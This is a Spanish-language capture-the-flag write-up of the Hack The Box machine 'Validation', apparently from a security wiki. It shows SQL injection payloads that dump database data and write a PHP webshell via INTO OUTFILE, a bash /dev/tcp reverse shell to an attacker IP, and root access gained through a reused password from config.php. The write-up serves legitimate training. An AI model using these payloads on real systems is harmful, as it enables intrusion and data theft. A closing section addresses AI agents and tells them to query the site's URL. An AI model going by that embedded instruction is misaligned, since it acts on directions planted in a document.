# Validation

<figure><img src="/files/kOgv4rdFNBAFodD5pF7l" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina Validation realizando la enumeración rápida de los servicios que está ejecutando el objetivo.&#x20;

```
nmap -p- --open -Pn --min-rate 500 10.10.11.116
```

<figure><img src="/files/jeYrxinqtJTr5ypDpB3c" alt=""><figcaption></figcaption></figure>

Cuatro puertos abiertos: 22,80,4566 y 8080. El siguiente paso será la enumeración detallada de los servicios que hemos descubierto.

```
nmap -p22,80,4566,8080 -sVC -Pn -n 10.10.11.116
```

<figure><img src="/files/OR5JbqgnXLSy9QrtNUaL" alt=""><figcaption></figcaption></figure>

**VERSIONES**

* Puerto 22 -> SSH -> OpenSSH 8.2
* Puerto 80 -> HTTP -> Apache httpd 2.4.48
* Puerto 4566 -> HTTP -> nginx
* Puerto 8080 -> HTTP -> nginx

### Enumeración Web

El equipo objetivo está ejecutando un servidor Web en el puerto 80. Vamos a ver su contenido y a enumerar directorios y archivos interesantes.

<figure><img src="/files/GVi5xDtjNTwOyG19bxSz" alt=""><figcaption></figcaption></figure>

Vemos lo que parece un formulario de registro de usuarios por nacionalidad. Vamos a continuar con la enumeración de directorios.

```
dirsearch -u 10.10.11.116 -i 200,301,401
```

<figure><img src="/files/bcP1rWBvh3r8oEGvSSvp" alt=""><figcaption></figcaption></figure>

Vemos dos archivos que pueden ser interesantes, config.php y account.php. Veamos su contenido.

<figure><img src="/files/T1HVKfwjmJcIDYg2ToPi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ILGaVRcqwqKTxoqYUwx2" alt=""><figcaption></figcaption></figure>

Nada interesante. Continuaremos entonces buscando vectores vulnerables en el sitio Web.

## Explotación

Durante la enumeración del sitio Web encontramos que existe un formulario para registrar usuarios por países. Vamos a tratar de comprobar si presenta vulnerabilidades de SQLi. Registramos varios usuarios distintos.

<figure><img src="/files/rsTmiwHxqrXq8dPPdH2x" alt=""><figcaption></figcaption></figure>

Ahora capturamos la petición con BurpSuite para empezar a jugar con ella.

<figure><img src="/files/ribb4LIzErQNtXWAmCKD" alt=""><figcaption></figcaption></figure>

Vamos a tratar de generar un error de sintaxis para comprobar si el formulario es vulnerable a SQLi.

<figure><img src="/files/Puli0sHfemlJQDecpgnd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/v2UVIaOhicrjPsY3lYaU" alt=""><figcaption></figcaption></figure>

Como podemos comprobar el formulario es vulnerable a SQLi. Vamos a ver como podemos aprovechar esta vulnerabilidad.

```
username=securiters&country=Spain'or'1'='1
```

<figure><img src="/files/DpATdiE5h15jTgl0ftrc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3cNYQoup6aoGWgaVPOlq" alt=""><figcaption></figcaption></figure>

Podemos extraer toda la lista de usuarios registrados en la base de datos. También podemos ver que versión de base de datos se está ejecutando.

```
username=securiters&country=Spain'union select version()-- -
```

<figure><img src="/files/jkpydxjZWbOfnTv769EJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HymhEXIIFnpn2NS99Han" alt=""><figcaption></figcaption></figure>

Podemos listar las diferentes bases de datos.

```
username=securiters&country=Spain'union select schema_name from information_schema.schemata-- -
```

<figure><img src="/files/1TviG8SdT0BSxAjiJIDF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ORV7P8PAyH1MH646IaJ9" alt=""><figcaption></figcaption></figure>

Sabemos que es vulnerable a SQLi y vemos toda la información que podemos conseguir. Pero, y si aprovechamos la vulnerabilidad presente para tratar de crear un archivo malicioso en el sistema con el que podamos crear una webshell que nos permita ejecutar comandos.

```
username=securiters&country=Spain' union select '<?php SYSTEM($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/securitersshell.php'-- -
```

<figure><img src="/files/J4VVsA66uu7sv28KEUyX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UT7Ny129xcCPok1PsUtF" alt=""><figcaption></figcaption></figure>

Ya podemos ejecutar comandos en el sistema. Vamos a tratar de aprovechar esto para ejecutar una reverse shell entre el objetivo y nuestra máquina de ataque.

```
bash -c "bash -i >& /dev/tcp/10.10.16.5/1234 0>&1"
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.5%2F1234%200%3E%261%22
```

Por otro lado, configuramos un oyente nc en el puerto 1234

```
nc -lnvp 1234 
```

<figure><img src="/files/7vFgNKARf0b3QIfIJpnx" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al sistema como www-data. Ahora, vamos a buscar la flag user.txt

```
find / -name user.txt 2>/dev/null
```

<figure><img src="/files/0SykkFjjsFYObCgdzRWf" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez tenemos acceso a sistema con bajos privilegios, el siguiente paso es buscar vectores que nos permitan la elevación de privilegios. Comenzamos enumerando que se puede ejecutar como www-data sin necesidad de contraseña.

<figure><img src="/files/GiWXFZbL4aaM7DQ3D045" alt=""><figcaption></figcaption></figure>

Parece que sudo no está instalado en el sistema. Continuamos enumerando los permisos SUID.

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/hdblqCkvf98axQLJ2P51" alt=""><figcaption></figcaption></figure>

No existe ningún binario con permiso que nos permita elevar privilegios. Podemos hacer también una enumeración de capabilities.

```
getcap -r / 2>/dev/null
```

<figure><img src="/files/Ldh6cDQQulQnGvLW9HyJ" alt=""><figcaption></figcaption></figure>

Pero tampoco hay nada interesante. Veamos el directorio donde accedimos cuando ejecutamos la reverse shell.

<figure><img src="/files/mmBzRKV6aPcHrvyFoJeP" alt=""><figcaption></figcaption></figure>

Vemos el archivo config.php que encontrábamos en la enumeración inicial pero al que no podíamos acceder. Este archivo puede contener credenciales interesantes de otros usuarios de sistema.

<figure><img src="/files/3EcWKrGcknWiYcSnN9JX" alt=""><figcaption></figcaption></figure>

Vamos a comprobar si son credenciales válidas del sistema.

<figure><img src="/files/PBJUSuD4Xbf1xuNzmg4m" alt=""><figcaption></figcaption></figure>

Y el usuario no es válido pero la contraseña nos permite iniciar sesión en el sistema con privilegios máximos. Ahora a buscar la flag final.

<figure><img src="/files/wvSV0pffmbfHtUbFUYED" alt=""><figcaption></figcaption></figure>

Y ya tendríamos resuelta la máquina Validation de Hack The Box.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/validation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
